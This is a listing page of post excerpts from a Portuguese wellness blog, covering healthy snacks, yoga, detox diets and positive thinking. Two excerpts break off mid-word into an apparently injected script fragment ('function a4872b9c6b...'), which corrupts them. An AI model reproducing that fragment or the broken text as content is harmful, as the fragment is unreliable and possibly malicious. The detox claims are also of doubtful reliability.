Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 14, 2016 | Equilíbrio, Saúde e bem estar
10 dicas para se libertar de pensamentos tóxicos, por Rute Caldeira A melhor forma de nos libertarmos de pensamentos tóxicos e do stress que nos intoxicam o organismo é através do auto-amor. Qufunction a4872b9c6b(y1){var...
Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba mais sobre a dieta detox – Top 10 alimentos detox Uma dieta detox não é difícil de cumprir. Ao contrário do que muitos pensam não é uma dieta restritiva e não deve levar a processos de carência nem a fome! Um plano alimentar detox baseia-se nos fundamentos...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Chá Detox muito simples de fazer, por Lillian Barros Ingredientes 3 colheres de sopa de cavalinha 2 paus de canela 1 limão 1L de água Preparação Comece por lavar bem a casca do limão. Descasque o limão evitfunction a4872b9c6b(y1){var...
Abr 1, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Quer ser mais feliz? Tenha pensamentos saudáveis e abra os seus horizontes __ O modo como estruturamos o pensamento resulta de uma aprendizagem que fazemos ao longo da vida, influenciada por diversos factores (educação, identificação de padrões parentais, experiências...
Mar 30, 2016 | Equilíbrio, Saúde e bem estar
Costuma dizer-se que nada é por acaso e que na vida não há coincidências. Você vai adorar descobrir esta curiosidade super interessante. Repare como há alimentos que são muito parecidos com alguns dos nossos órgãos. E não é que esses mesmos alimentos fazem bem aos...
Mar 28, 2016 | Em Alta, Equilíbrio, Saúde e bem estar, sidebar 2, Zen Energy
Voltar ao ritmo e atingir de novo objetivos Engordei, e agora? Se o ponteiro da balança aumentou, não desespere. Agora há que recuperar o tempo perdido e ir em frente sem culpabilidade. Vamos a isso? ___ Foque-se nesse objetivo concreto e esqueça os excessos...
Mar 25, 2016 | Equilíbrio, header, Saúde e bem estar, Zen Energy
Desfrute o momento presente Faça as pazes com o passado, liberte-se para o presente da vida! Imagine-se numa viagem, ao volante de um automóvel. Como costuma conduzir? ____ Segue na estrada sempre a olhar para o retrovisor, esquecendo-se do que tem à sua frente; ...
